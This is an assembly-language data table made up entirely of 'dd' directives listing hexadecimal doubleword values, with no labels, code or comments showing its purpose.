		dd 1315111Fh, 1A131818h, 0B1D1917h, 5020400h, 305010Fh
		dd 0F080D08h, 200D0907h, 252C282Fh, 12191317h, 1D131510h
		dd 13111B1Fh, 18141519h, 0A0B0A02h, 5010F06h, 30D0803h
		dd 0D09070Eh, 26282920h, 19131725h, 111D1412h, 111B1F1Dh
		dd 1C1F181Ah, 9030715h,	0C0D0D04h, 0E020A00h, 9070A0Ah
		dd 2824200Dh, 1317252Eh, 11141219h, 1B1F1D16h, 141C1A11h
		dd 3071517h, 70D0209h, 0B0F0D06h, 40A0A01h, 2E2C0507h
		dd 112B2F26h, 16141813h, 1814171Eh, 1E1C101Fh, 191C16h
		dd 0F01050Bh, 0E020004h, 7090D03h, 2D0F0C0Ch, 242C2A26h
		dd 191B1815h, 161D1713h, 111B101Fh, 1E151F1Bh, 9020601h
		dd 60D0703h, 10B0C0Dh, 0E050F0Bh, 242B2C2Ch, 131A1228h
		dd 1C131311h, 1D121A10h, 19171C1Eh, 7000B1Dh, 10F0C04h
		dd 0A0C0305h, 0C0A0602h, 292A2A04h, 13172526h, 10111219h
		dd 1B1F1D12h, 1A1D1A11h, 307151Dh, 4010209h, 0B0F0D03h
		dd 0E090A01h, 2E2C0509h, 11292F26h, 1F11151Bh, 1213111Dh
		dd 1E10181Eh, 7151E1Dh,	3010903h, 0A000C04h, 0C0F0B02h
		dd 2908040Bh, 2E2C2C27h, 11151B10h, 1712161Fh, 10181E12h
		dd 19181E1Dh, 800060Ah,	0D05h, 80E02h, 50C0B0Bh, 2D262E2Ch
		dd 151B1027h, 141D1F11h, 181E121Fh, 1D191D10h, 60A1Bh
		dd 60508h, 80E020Fh, 0B0B0500h,	262E2C05h, 13112C2Fh, 1E161418h
		dd 1A1D1217h, 161E1C10h, 0B02171Ch, 0D0F0105h, 0E02000Eh
		dd 0F0D0008h, 2E2C050Dh, 12282F26h, 16141818h, 1B15171Eh
		dd 1E1C1011h, 91F1F16h,	6040807h, 0D070E0Eh, 7090D03h
		dd 21080B0Ah, 29252F2Bh, 14181914h, 15171E16h, 1C101E1Bh
		dd 1D1B161Eh, 1050B03h,	202040Fh, 90D0300h, 0F0C0C07h
		dd 2C2A262Bh, 11191724h, 1D171319h, 131E1B16h, 151F1B11h
		dd 700081Eh, 0D070309h,	0B090A06h, 50F0B01h, 2F2D220Eh
		dd 1A122824h, 121E1515h, 19191C14h, 1A161913h, 801141Ch
		dd 7030903h, 0A0F060Dh,	0F0B010Ah, 2D2C0605h, 1B2D2927h
		dd 1D1A1310h, 1315111Fh, 1B1C1A18h, 0B1D1917h, 1030100h
		dd 305010Fh, 60A0B0Ah, 29040C0Ah, 2824242Ch, 1B1A1A12h
		dd 15111F10h, 191B1A13h, 141C1A16h, 30A0901h, 0C04020Eh
		dd 10D000Dh, 0B050F0Bh,	2C2A2623h, 14141124h, 14121E15h
		dd 1F1E1A1Ch, 151F1B11h, 302061Eh, 0D070309h, 0D0C0106h
		dd 50F0B01h, 27282C08h,	191B2D29h, 121E1516h, 1D191C14h
		dd 1A161D13h, 602141Ch,	7030900h, 0F0D060Dh, 0F0B0103h
		dd 2F220E05h, 1228242Eh, 1114151Ah, 1315111Fh, 1E1E1918h
		dd 0B1D1917h, 0C000500h, 305010Fh, 6030E0Eh, 28040C0Ah
		dd 28242B29h, 17171A12h, 15111F11h, 1F131813h, 1D19171Bh
		dd 0B04020Bh, 0C04020Eh, 10C0B00h, 8050F0Bh, 252F2B21h
		dd 1717162Eh, 1D171319h, 18181016h, 151F1B11h, 608081Eh
		dd 0D070309h, 0E0106h, 0C060E0Ch, 2A262F0Dh, 1516242Ch
		dd 17131911h, 1319121Dh, 1917191Dh, 307151Ah, 0F0C0009h
		dd 8030501h, 70D0A03h, 2D200D09h, 1A29272Ah, 15181016h
		dd 12131014h, 1D10181Eh, 0A161C15h, 0C080006h, 0F0D0505h
		dd 902010Bh, 2908040Ah,	2A282C27h, 11151B19h, 111E101Fh
		dd 10181E12h, 151B1F1Eh, 2090307h, 0D070307h, 0A010B0Fh
		dd 50F0D0Dh, 2F262E2Ch,	1817192Eh, 121E1614h, 1D131C16h
		dd 181F1719h, 60A18h, 70508h, 10B0F0Dh,	6080C0Ah, 262E2C05h
		dd 12182A2Fh, 1E161418h, 18101317h, 161E1C10h, 505181Fh
		dd 0E060408h, 0B0C0F07h, 60E0C00h, 262B0809h, 17242C2Ah
		dd 13191213h, 19101D17h, 1E1C101Bh, 4171A16h, 0F01050Bh
		dd 2040204h, 0D00080Eh,	2108060Eh, 2E252F2Bh, 191A1714h
		dd 111D1713h, 1C101B11h, 181F161Eh, 4080604h, 30E06h, 90D0308h
		dd 0D060507h, 252F2B21h, 1313132Eh, 1D171319h, 121C1F16h
		dd 151F1B11h, 804061Ch,	70E0604h, 0D030E07h, 80C0709h
		dd 2A262E0Bh, 1613242Ch, 17131913h, 1B1D161Dh, 161E1C10h
		dd 61A1Fh, 0E060408h, 90B0E07h,	60E0C00h, 262F0B08h, 16242C2Ah
		dd 13191415h, 1B161D17h, 1B111210h, 51E151Fh, 3090507h
		dd 0B060D07h, 0B010F0Ch, 220E050Fh, 2824282Eh, 10111A12h
		dd 15111F11h, 1B1A1813h, 1D191718h, 0A00000Bh, 5010F06h
		dd 30E0D03h, 40C0A06h, 262B2A2Ah, 19131725h, 1C1C1212h
		dd 1B121A10h, 1917141Bh, 3000B1Dh, 10F0C06h, 8080305h
		dd 907080Bh, 282D200Dh,	161A2B28h, 1D151810h, 1E121014h
		dd 14191018h, 3071518h,	0C020009h, 20A000Ch, 0A040E0Bh
		dd 27290804h, 112E262Ch, 1F11151Bh, 1B161514h, 17191D13h
		dd 11C1B1Ch, 0F01050Bh,	80F0004h, 7090D03h, 2108060Eh
		dd 26252F2Bh, 14181910h, 17171E16h, 1C101B1Eh, 1C1A161Eh
		dd 1050B09h, 107000Fh, 80E02h, 50E0808h, 2F262E2Ch, 1810112Bh
		dd 101E1614h, 1D131C17h, 161C1719h, 50B051Bh, 6040F01h
		dd 0D030C06h, 90C0709h,	2A262D07h, 1512242Ch, 17131912h
		dd 181F161Dh, 1F1B111Eh, 6051E15h, 703090Bh, 0E08050Dh
		dd 60E0C00h, 2E2E0A0Fh,	1B2D2927h, 1E121719h, 191C1412h
		dd 16131E18h, 1141C1Ah,	0E020506h, 90C0402h, 60B0209h
		dd 2A040C0Ah, 25272C24h, 12191317h, 1D111713h, 13111B1Fh
		dd 18141D1Bh, 0B050A02h, 5010F06h, 90E0D03h, 40C0A06h
		dd 29272C2Fh, 1B131B2Dh, 14121E13h, 121E191Ch, 1C1A1618h
		dd 5060114h, 4020E0Bh, 0D0B0E0Ch, 50F0B01h, 272F2C0Eh
		dd 101B2D29h, 1F1C1111h, 1B131511h, 1A161B12h, 301141Ch
		dd 20E0705h, 1090C04h, 0A06090Ch, 2A2A040Ch, 1228242Dh
		dd 1416131Ah, 1A101C13h, 1B121B12h, 2181418h, 40A030Ah
		dd 0A000C01h, 0C090B02h, 2908040Fh, 2E2D2E27h, 1810161Ah
		dd 12141515h, 10181E12h, 17161A1Dh, 800060Ah, 0D02050Ch
		dd 0A010B0Fh, 5070E04h,	28262E2Ch, 151B162Fh, 1F131F11h
		dd 181E121Fh, 18191D10h, 60A1Bh, 0E060008h, 10B0F0Dh, 4090A08h
		dd 2C272908h, 1B11272Dh, 141F1115h, 131D151Eh, 1817191Dh
		dd 60A1919h, 4050800h, 0E020506h, 0F0D0008h, 2B21060Ch
		dd 1026252Fh, 16141812h, 1114171Eh, 1E1C1018h, 3191F16h
		dd 6040801h, 104070Eh, 0E0C0000h, 290A0706h, 242C2A26h
		dd 1B151211h, 1C14121Eh, 111A1B10h, 1E151F1Bh, 9010700h
		dd 0E0D0703h, 0C00090Ah, 0B0F060Eh, 29272F23h, 17101B2Dh
		dd 111F1712h, 1A181315h, 1C1A1619h, 0B070714h
		dd 0D070309h, 0A0B0806h, 50F0B01h, 2729280Ah, 101B2D29h
		dd 1F171717h, 18131511h, 171A131Fh, 0B1D19h, 0F0D0B01h
		dd 1030501h, 0A060F0Ch,	282A040Ch, 17252E2Dh, 1C121913h
		dd 1F1D1712h, 1C1A111Bh, 7151818h, 1000903h, 305010Fh
		dd 0F0F0E08h, 200D0907h, 252E2A28h, 11191317h, 101C111Dh
		dd 191D121Ah, 1D191719h, 0A04000Bh, 5010F01h, 8080803h
		dd 0D09070Ch, 2A2D2B20h, 19131725h, 1C161210h, 1B121A10h
		dd 141A1412h, 30A0218h,	0C030007h, 0B020A00h, 404040Eh
		dd 2E272908h, 161A292Fh, 11151810h, 1E121E15h, 1C1A1018h
		dd 0A021814h, 4020303h,	20A000Ch, 0C05030Bh, 27290804h
		dd 192A292Ch, 1F11151Bh, 1F161514h, 17191D13h, 81F1E1Fh
		dd 0F01050Bh, 0F070604h, 7090D03h, 2B060D0Ch, 242C2A26h
		dd 16151311h, 1C14121Eh, 12121119h, 141C1A16h, 2060001h
		dd 0C04020Eh, 20B0909h,	40C0A06h, 242C282Eh, 131A1228h
		dd 111F1D16h, 1D181315h, 151F1B11h, 0B00021Eh, 0D070309h
		dd 0B0F01h, 9060E0Ch, 2A262F07h, 1611242Ch, 121E1411h
		dd 10191C14h, 1A161B1Bh, 2141Ch, 7030906h, 0B0F040Dh, 60E0C00h
		dd 2422060Fh, 1B2D2927h, 1E111318h, 101C1412h, 1B111310h
		dd 71E151Fh, 3090201h, 20D07h, 0E0C0009h, 28090C06h, 242C2A26h
		dd 19111015h, 161D1713h, 111B1F11h, 1E151F1Bh, 9060402h
		dd 60D0703h, 10E010Ah, 0A050F0Bh, 2C2A2629h, 15171124h
		dd 14121E13h, 1818191Ch, 1C1A161Ch, 3090114h, 4020E0Bh
		dd 30D0A0Ch, 50F0B01h, 272B2F0Ah, 101B2D29h, 1F11131Ah
		dd 18131511h, 171B191Eh, 90B1D19h, 20E0202h, 0A090C04h
		dd 0A06020Bh, 2A23040Ch, 12282425h, 1113131Ah, 1A101C11h
		dd 191F1912h, 0B1D1917h, 0E060008h, 90C0402h, 6090B0Ch
		dd 29040C0Ah, 28242F25h, 101A1A12h, 15111F12h, 12191813h
		dd 1D19171Fh, 20B000Bh,	5010F0Dh, 0D0E0803h, 0D09070Ah
		dd 2B2A2D20h, 10161A2Ch, 12171018h, 111B1F1Dh, 191E181Ah
		dd 9030715h, 0C0D000Ah,	0B020A00h, 40A0808h, 25272908h
		dd 161A2829h, 12151810h, 1E121E11h, 1B1D1018h, 60A1C1Fh
		dd 2050800h, 0E020205h,	40D0008h, 2B210B06h, 1127252Fh
		dd 16141817h, 1E17131Eh, 17191D13h, 71A181Ch, 0F01050Bh
		dd 0F0D0E0Ch, 0C09010Bh, 2C050E0Ch, 2F2C262Eh, 11151B15h
		dd 1112171Fh, 10181E12h, 151F1818h, 2090307h, 0D020304h
		dd 8010B0Fh, 804050Eh, 28282729h, 10161A26h, 1E131518h
		dd 181E1210h, 14141410h, 30A0218h, 0C050D0Ah, 0D020A00h
		dd 9070A0Eh, 2D2F200Dh,	13172527h, 13171219h, 1B1F1D1Fh
		dd 1C181311h, 0A021814h, 4060503h, 20A000Ch, 0E0D0F0Bh
		dd 27290804h, 1228242Eh, 1C12131Ah, 1A101C1Dh, 1C1B1812h
		dd 218141Fh, 100030Ah, 0A000C01h, 0A090C02h, 200D0907h
		dd 252F2D25h, 1A191317h, 101C1314h, 191B121Ah, 18141E1Fh
		dd 3030A02h, 0C0205h, 0C03020Ah, 0D09070Fh, 2D2E2D20h
		dd 10161A29h, 1F131518h, 181E1211h, 1D1C1D10h, 60A16h
		dd 4040508h, 80E0206h, 0C040D00h, 2F2B2109h, 10122E25h
		dd 17131910h, 1E18161Dh, 1F1B111Bh, 4071A15h, 0E060408h
		dd 0E020701h, 0A0F0008h, 2E2C050Dh, 142A2F26h, 16141819h
		dd 1D14111Eh, 17191D13h, 0A17191Ah, 1080006h, 0F0D0205h
		dd 0A0A010Bh, 200D0907h, 25262A29h, 1A191317h, 101C1610h
		dd 1D1B121Ah, 18141A15h, 0A060A02h, 0C04020Eh, 10F0A01h
		dd 0E050F0Bh, 242D2E28h, 131A1228h, 1C101111h, 1C121A10h
		dd 1917191Ch, 20B1Dh, 4020E03h,	301010Ch, 50F0B01h, 272B2206h
		dd 181B2D29h, 121E1510h, 1E101C14h, 1F1B1119h, 1091915h
		dd 0E060408h, 30D0607h,	0C07090Dh, 262E060Dh, 18242C2Ah
		dd 13191110h, 1F141D17h, 1E1C101Fh, 5191F16h, 6040804h
		dd 0B06050Eh, 7090D03h,	210C0B0Ah, 28252F2Bh, 14181116h
		dd 17171E16h, 1C101110h, 1A1B161Eh, 1050B02h, 0E05070Fh
		dd 80E02h, 50D0B0Dh, 2F262E2Ch,	18131529h, 171E1614h, 101E1D16h
		dd 1F161E1Ch, 805051Bh,	0F0E0604h, 0D030100h, 90C0709h
		dd 2A262E07h, 1019242Ch, 17131911h, 1C1F1F1Dh, 161E1C10h
		dd 0B051916h, 40F0105h,	30C0E0Fh, 0C07090Dh, 2623060Ch
		dd 16242C2Ah, 13191514h, 10131D17h, 1E1C101Bh, 7171F16h
		dd 6040809h, 807070Eh, 0E0C0008h, 220A0F06h, 2D29272Ah
		dd 1312131Bh, 15111F17h, 1F1C1B13h, 141C1A16h, 90A0403h
		dd 0E0D0703h, 0C00090Ch, 70B060Eh, 2C2A2623h, 1A181424h
		dd 1D171319h, 1A1B1815h, 151F1B11h, 8050618h, 70E0604h
		dd 90A0Fh, 0F060E0Ch, 2A262C0Eh, 1511242Ch, 121E1413h
		dd 19191C14h, 1A161B1Ah, 201141Ch, 20E0007h, 9090C04h
		dd 0A060803h, 2F29040Ch, 1228242Ch, 1512151Ah, 1315111Fh
		dd 1B111A11h, 31E151Fh,	3090002h, 0B040D07h, 0E0C0000h
		dd 2E090F06h, 2D29272Ch, 1113101Bh, 15111F14h, 181C1D13h
		dd 141C1A16h, 6010101h,	0C04020Eh, 20C0109h, 40C0A06h
		dd 292D2D2Ah, 19131725h, 111F151Bh, 1F1F1315h, 1C1A1612h
		dd 7090114h, 4020E0Ah, 0D0E010Ch, 50F0B01h, 29252C0Eh
		dd 1A122824h, 1D101313h, 121A101Ch, 17141212h, 90B1D19h
		dd 20E0402h, 0A090C04h,	0A060E09h, 2D2E040Ch, 12282424h
		dd 1C101A1Ah, 1315111Fh, 1F1D1818h, 0B1D1917h, 4000A00h
		dd 305010Fh, 80C0E08h, 200D0907h, 252A2D25h, 12191317h
		dd 1D161D1Dh, 1A111B1Fh, 151A1B1Bh, 2090307h, 0D050C01h
		dd 0E010B0Fh, 804080Dh,	2C2E2729h, 10161A2Dh, 10101518h
		dd 181E121Fh, 16181D10h, 60A1Dh, 7030508h, 80E0201h, 4090900h
		dd 25272908h, 161A292Eh, 14151810h, 1E121E11h, 141D1018h
		dd 60A1E1Ah, 4060800h, 0B0F0D05h, 0F0F0C01h, 27290804h
		dd 1A2E2825h, 15181016h, 12121713h, 1D10181Eh, 0A1E191Fh
		dd 80006h, 0F0D0F00h, 0E0E010Bh, 29080404h, 29272927h
		dd 1810161Ah, 11161415h, 10181E12h, 1A1C1A1Dh, 800060Ah
		dd 0D0F0405h, 0A010B0Fh, 50E0B09h, 2D262E2Ch, 151B112Dh
		dd 1F161F11h, 181E1213h, 1D1A1810h, 9030715h, 4020202h
		dd 10B0F0Dh, 40F0C02h, 2B272908h, 161A2B27h, 1C151810h
		dd 1E12141Eh, 191D1018h, 60A191Fh, 5050800h, 0E020502h
		dd 50F0008h, 2E2C050Ch,	162A2A26h, 1F11151Bh, 1C111014h
		dd 17191D13h, 316171Ch,	0F01050Bh, 0B010F04h, 7090D03h
		dd 2D070A0Ch, 242C2A26h, 19111112h, 151D1713h, 1C101F1Ah
		dd 1716161Eh, 1050B01h,	102040Fh, 90D030Fh, 0B070C07h
		dd 2C2A262Eh, 10111124h, 14121E12h, 1D19191Ch, 1C1A161Dh
		dd 6050114h, 4020E0Bh, 0F000F0Ch, 50F0B01h, 2C282E0Eh
		dd 1A122824h, 12151B13h, 121A101Ch, 171B1C1Fh, 0B1D19h
		dd 0F060401h, 8030501h,	70E090Ch, 2D200D09h, 1A282F28h
		dd 15181016h, 12171613h, 1A10181Eh, 7151A1Bh, 1000903h
		dd 0A000C04h, 0C0A0E02h, 200D0907h, 252C292Fh, 14191317h
		dd 101C101Ch, 1B13121Ah, 1D19171Ch, 0B0B000Bh, 0C04020Eh
		dd 1030C0Ah, 0E050F0Bh
		dd 242C2A2Dh, 131A1228h, 1C141712h, 1B121A10h, 141F151Eh
		dd 70A0218h, 10F0502h, 8080305h, 907040Bh, 2A2B200Dh, 13172527h
		dd 1C141219h, 1B1F1D17h, 191B1911h, 0A021814h, 0F040B05h
		dd 8030501h, 0A060803h,	2A22040Ch, 1228242Dh, 1017131Ah
		dd 1A101C15h, 16121912h, 4141C1Ah, 3090503h, 8060D07h
		dd 0B010C0Ah, 2C0E050Fh, 28242B2Fh, 161B1A12h, 1C14121Eh
		dd 111B111Eh, 1E151F1Bh, 9060307h, 60D0703h, 10D0D0Ah
		dd 0B050F0Bh, 2927242Eh, 13101B2Dh, 111F1710h, 13181315h
		dd 19171D1Ch, 3000B1Dh,	10F0D02h, 0C080305h, 9070402h
		dd 2B29200Dh, 13172529h, 1D141219h, 1B1F1D1Fh, 1A1D1811h
		dd 0A021814h, 1060300h,	20A000Ch, 709030Ch, 2D200D09h
		dd 1A2C2D25h, 15181016h, 12101713h, 1D10181Eh, 7151D18h
		dd 0D020903h, 0F0D0201h, 50F010Bh, 29080409h, 2F2A2C27h
		dd 11151B11h, 1310141Fh, 191D131Eh, 191E1917h, 800060Ah
		dd 7040005h, 80E02h, 0D08080Dh,	252F2B21h, 1218102Eh, 1D171319h
		dd 1F101916h, 151F1B11h, 8070717h, 70E0604h, 90A05h, 6060E0Ch
		dd 2A262A0Dh, 1112242Ch, 121E1613h, 1D191C14h, 1A16181Ah
		dd 101141Ch, 20E0504h, 0A090C04h, 0A060F0Ah, 292D040Ch
		dd 12282428h, 1D1A131Ah, 1315111Fh, 161D1E1Ch, 141C1Ah
		dd 0F01050Bh, 2000501h,	0A00080Eh, 2C050F04h, 2727262Eh
		dd 11151B11h, 1015141Fh, 191D131Eh, 171F1A17h, 800060Ah
		dd 5010F01h, 30C0E03h, 40C0A06h, 242A2A2Fh, 161A1228h
		dd 111F1510h, 191C1315h, 1C1A1619h, 1050114h, 4020E01h
		dd 0C0E090Ch, 0C0A060Eh, 25282A04h, 1317252Bh, 14101119h
		dd 121A101Ch, 1E1E1C1Bh, 0A021814h, 60503h, 20A000Ch, 0C0B0E0Bh
		dd 27290804h, 112F2D2Ch, 1F11151Bh, 19131114h, 17191D13h
		dd 0A1D1A1Ch, 5080006h,	2020705h, 0D00080Eh, 2C050F0Fh
		dd 2E29262Eh, 11151B10h, 1F15141Fh, 191D131Eh, 1D1A1A17h
		dd 800060Ah, 0D04000Ch,	0A010B0Fh, 5090804h, 2A262E2Ch
		dd 151B192Eh, 1F141F11h, 1D131B15h, 18191719h, 60A1Dh
		dd 0C060608h, 0F020A00h, 9070F03h, 252D200Dh, 161A2E2Dh
		dd 15151810h, 1E121F1Fh, 181D1018h, 60A1C19h, 5060800h
		dd 0E020204h, 0E0D0008h, 2B210B08h, 142A252Fh, 16141819h
		dd 1112171Eh, 1E1C1010h, 0A181916h, 3080006h, 0F0D0001h
		dd 80A010Bh, 2C050E0Ch,	2B2A262Eh, 11151B15h, 1D13111Fh
		dd 1A111B1Fh, 151F1415h, 2090307h, 0D05030Ch, 0A010B0Fh
		dd 50C0F0Dh, 28262E2Ch,	10161A28h, 17151518h, 111B1F1Dh
		dd 141A1518h, 40A0218h,	10F0304h, 0E080305h, 9070D0Eh
		dd 252D200Dh, 161A2A26h, 12151810h, 1E121F16h, 191D1018h
		dd 60A171Fh, 0C0C0800h,	0B0F0D02h, 0A0F0201h, 27290804h
		dd 1A2D2F28h, 15181016h, 12161F13h, 1B10181Eh, 7151F1Ah
		dd 2040903h, 0A000C02h,	0C080D02h, 200D0907h, 25292925h
		dd 10191317h, 101C161Dh, 181B121Ah, 141C1A16h, 2050701h
		dd 0C04020Eh, 10B010Ah,	0E050F0Bh, 2428292Fh, 131A1228h
		dd 1C141111h, 1F121A10h, 19171C18h, 4070B1Dh, 4020E02h
		dd 30D090Ch, 0C0A060Bh,	2D2A2804h, 1A122824h, 1F141217h
		dd 18131511h, 171F191Ah, 40B1D19h, 20E0A06h, 90A0C04h
		dd 0A060A0Ah, 2428040Ch, 12282428h, 1D16131Ah, 1A101C14h
		dd 161D1312h, 1141C1Ah,	0E030104h, 90C0402h, 60D0801h
		dd 2F040C0Ah, 28242C2Ah, 14131A12h, 101C1311h, 1E13121Ah
		dd 1D191714h, 501000Bh,	5010F06h, 0B020F03h, 40C0A06h
		dd 24242E23h, 131A1228h, 1C101014h, 1C121A10h, 19171F1Dh
		dd 5000B1Dh, 10F0607h, 8080305h, 9070902h, 252D200Dh, 161A2A29h
		dd 11151810h, 1E121013h, 1D1D1018h, 60A1C1Eh, 0C0800h
		dd 0B0F0D01h, 9090A01h,	2E2C050Eh, 10262F26h, 16141819h
		dd 19161E1Eh, 17191D13h, 219181Ch, 0F01050Bh, 2070107h
		dd 0D00080Eh, 2C05060Fh, 2F2C262Eh, 14181312h, 17141E16h
		dd 10181E12h, 1C1F141Dh, 800060Ah, 3070005h, 80E02h, 0A0A090Dh
		dd 252F2B21h, 1014192Eh, 1D171319h, 1C181815h, 151F1B11h
		dd 706031Eh, 0D070309h,	0F0805h, 0F060E0Ch, 272A280Eh
		dd 161B2D29h, 121E1112h, 1A1A1C14h, 1F1B1118h, 91C15h
		dd 0E060408h, 3090002h,	507090Dh, 2B210B0Dh, 112E252Fh
		dd 13191A11h, 1C161D17h, 1B111E19h, 91E151Fh, 3090301h
		dd 0F060D07h, 0B010B0Ch, 2C08050Fh, 2D29272Bh, 1013161Bh
		dd 1C14121Eh, 111B1A1Dh, 1C151F1Bh, 4080809h, 7050E06h
		dd 90D030Ch, 0C0B0E07h,	252F2B21h, 151B1528h, 12141F11h
		dd 1D131D16h, 1A1C1719h, 50B0018h, 2040F01h, 0D030B00h
		dd 0B0C0709h, 2A26290Fh, 1211242Ch, 121E1417h, 10101C14h
		dd 1F1B1119h, 3011E15h,	7030906h, 10F060Dh, 0F0B010Ah
		dd 28220E05h, 12282425h, 1413101Ah, 1A101C12h, 1B181B12h
		dd 0B1D1917h, 0E010408h, 0A0C0402h, 0B010B09h, 280E050Fh
		dd 28242A2Eh, 1B131A12h, 101C1616h, 1B1B121Ah, 18141F1Fh
		dd 40A02h, 5010F03h, 0B0A0A03h,	40C0A06h, 2B2C2B2Ah, 19131725h
		dd 161D1012h, 111B1F1Dh, 141F1919h, 30A0218h, 0C070504h
		dd 0E020A00h, 0C0A060Dh, 25242C04h, 1A122824h, 1F1D1417h
		dd 18131511h, 17151813h, 0B1D19h, 20E050Ah, 1010C04h, 0F0B010Ch
		dd 2D290E05h, 1228242Ah, 1212101Ah, 1315111Fh, 161F1D1Ah
		dd 5141C1Ah, 3090A00h, 0E060D07h, 0B010208h, 2B0A050Fh
		dd 2D29272Dh, 1013101Bh, 15111F11h, 1C1F1C13h, 141C1A16h
		dd 5050401h, 0C04020Eh,	109000Dh, 0E050F0Bh, 29272A28h
		dd 14191B2Dh, 14121E1Ah, 181A191Ch, 1C1A161Dh, 1020114h
		dd 4020E00h, 30E0E0Ch, 50F0B01h, 272B2A0Ah, 191B2D29h
		dd 121E1A1Ah, 1B1C1C14h, 161E1C10h, 3051D1Fh, 0E060408h
		dd 30C0303h, 507090Dh, 2B210C06h, 122A252Fh, 16141819h
		dd 1C14171Eh, 1E1C1011h, 41C1C16h, 0F01050Bh, 0C010E04h
		dd 7090D03h, 2207080Ch,	242C2A26h, 19141215h, 131D1713h
		dd 1C101818h, 1D19161Eh, 1050B06h, 5040Fh, 90D030Ch, 80A0C07h
		dd 2C2A262Ch, 12111224h, 14121E1Ah, 1A11191Ch, 1C1A1613h
		dd 1030114h, 4020E0Ah, 0E08090Ch, 0C0A060Fh, 242E2A04h
		dd 13172527h, 16161219h, 1B1F1D13h, 17141A11h, 0B1D19h
		dd 20E000Ah, 0E090C04h,	0A060909h, 2D2C040Ch, 12282429h
		dd 1113131Ah, 1A101C10h, 1F1B1B12h, 218141Dh, 405030Ah
		dd 0A000C04h, 90F0B02h,	2908040Dh, 2D2E2E27h, 1810161Ah
		dd 14161715h, 10181E12h, 1F1F1E1Dh, 800060Ah, 30F0405h
		dd 80E02h, 0C070C0Dh, 252F2B21h, 1B13142Eh, 1D171319h
		dd 13111116h, 151F1B11h, 105091Eh, 0D070309h, 0C080Eh
		dd 7060E0Ch, 2A26220Fh,	1416242Ch, 17131910h, 181E1E1Dh
		dd 161E1C10h, 0B091C19h, 40F0105h, 30C0304h, 0F07090Dh
		dd 2B210A0Dh, 112E252Fh, 16141815h, 1813171Eh, 17191D13h
		dd 5171C1Ch, 0F01050Bh,	0E060404h, 7090D03h, 2A07060Ch
		dd 242C2A26h, 19121316h, 161D1713h
		dd 111E181Ch, 1B151F1Bh, 4080403h, 70E06h, 0C000E01h, 0D0F060Eh
		dd 29272523h, 17121B2Dh, 14121E1Ah, 1A1C1B1Ch, 151F1B11h
		dd 8070517h, 0F0E0604h,	0D030C06h, 0E0F0709h, 2A26220Eh
		dd 1114242Ch, 17131917h, 1D18161Dh, 1F1B111Fh, 9061E15h
		dd 7030900h, 0D0C0F0Dh,	60E0C00h, 2E2C050Ah, 10292F26h
		dd 16141817h, 1A14121Eh, 17191D13h, 0A161B1Ah, 5080006h
		dd 2030504h, 0D00080Eh,	210D0B05h, 2E252F2Bh, 14181618h
		dd 1F171E16h, 1C10111Dh, 1E17161Eh, 1050B05h, 40E010Fh
		dd 80E02h, 5060A0Fh, 26262E2Ch,	151B1029h, 14121F11h, 181E1214h
		dd 191C1D10h, 60A17h, 0C040508h, 0B020A00h, 40E0C0Ch, 2C272908h
		dd 1B13272Dh, 141F1115h, 1E121613h, 1B1D1018h, 60A1E1Bh
		dd 70800h, 0B0F0D02h, 70E0201h,	2D200D09h, 1A2C2A2Ah, 15181016h
		dd 1215121Ch, 1D10181Eh, 0A1F1F15h, 5080006h, 2050406h
		dd 0E00080Eh, 21070F0Dh, 2B252F2Bh, 11151B13h, 1314141Fh
		dd 191D131Eh, 181A1A17h, 800060Ah, 3050705h, 80E02h, 5080A0Bh
		dd 2B262E2Ch, 151B142Dh, 14131F11h, 181E1212h, 1A1C1910h
		dd 9030715h, 0F060702h,	10B0F0Dh, 408050Eh, 2C272908h
		dd 1B132E2Fh, 141F1115h, 13181117h, 1F17191Dh, 0B061F1Eh
		dd 40F0105h, 30E0E05h, 0C07090Dh, 2B21070Fh, 132E252Fh
		dd 13191217h, 11161D17h, 1B111E1Ch, 219151Fh, 6040800h
		dd 6070Eh, 0E0C000Ch, 2E060F06h, 2D29272Fh, 1714101Bh
		dd 15111F10h, 1E121C13h, 141C1A16h, 9030006h, 50D0703h
		dd 0C00080Ah, 0F0F060Eh, 29272F23h, 16121B2Dh, 14121E1Bh
		dd 101E1A1Ch, 1B161E1Ch, 50B0417h, 3070F01h, 80E0207h
		dd 0C0C0800h, 262E2C05h, 1B14282Bh, 141F1115h, 13111110h
		dd 1F17191Dh, 0B061D1Eh, 0F0104h, 0E02070Fh, 0C080008h
		dd 2E2C050Bh, 132A2F26h, 16141815h, 1D17171Eh, 1E1C101Bh
		dd 11F1916h, 0F01050Bh,	0A060607h, 7090D03h, 2108080Ch
		dd 26252F2Bh, 14181111h, 1F131E16h, 191D1319h, 19181C17h
		dd 1050B03h, 0F00010Fh,	80E02h,	8040B09h, 2A2C2729h, 151B182Fh
		dd 1F141F11h, 1D131F16h, 171C1719h, 60A1Bh, 0F030508h
		dd 80E0204h, 80C0D00h, 2F2B210Ch, 14132E25h, 17131912h
		dd 1319151Dh, 1F17191Dh, 60A1D1Eh, 0D050800h, 0E020306h
		dd 0E0E0008h, 2E2C0509h, 122D2F26h, 16141813h, 181E171Eh
		dd 1E1C1010h, 11C1716h,	0F01050Bh, 0F0D0404h, 0C0C010Bh
		dd 2908040Ah, 2B282C27h, 11151B17h, 1F14141Fh, 191D131Ah
		dd 171A1C17h, 1050B09h,	105070Fh, 80E02h, 80C0B0Dh, 252F2B21h
		dd 18101727h, 101E1614h, 1D131817h, 1C1C1719h, 50B081Ah
		dd 1070F01h, 80E0204h, 60E0E00h, 262E2C05h, 1916272Fh
		dd 1E161418h, 1A1E1417h, 161E1C10h, 0B041C1Ah, 70F0105h
		dd 3090506h, 807090Dh, 2B210C0Ah, 122E252Fh, 13191A15h
		dd 1C151D17h, 17191D13h, 0A17181Fh, 5080006h, 2060E04h
		dd 0A00080Eh, 2C050B0Bh, 2C2F262Eh, 14181815h, 1F171E16h
		dd 1C101C11h, 191F161Eh, 4080004h, 4000E06h, 90D0301h
		dd 0E0E0C07h, 2C2A262Ah, 15181724h, 1D171319h, 101A1810h
		dd 1A161E1Ch, 50B0817h,	40F01h,	0D030B07h, 0B040709h, 2F2B2106h
		dd 18122E25h, 17131914h, 1811151Dh, 161E1C10h, 0B031718h
		dd 0C0F0105h, 0E02040Fh, 90D0008h, 2B210D06h, 1429252Fh
		dd 16141813h, 181F171Eh, 1E1C1018h, 9161F16h, 6040807h
		dd 0A03070Eh, 0E0C0008h, 2A0F0C06h, 2D292728h, 1115101Bh
		dd 15111F1Ch, 191E1C13h, 141C1A16h, 0A040601h, 0C04020Eh
		dd 1020F09h, 0A050F0Bh,	2927292Bh, 1A171B2Dh, 14121E17h
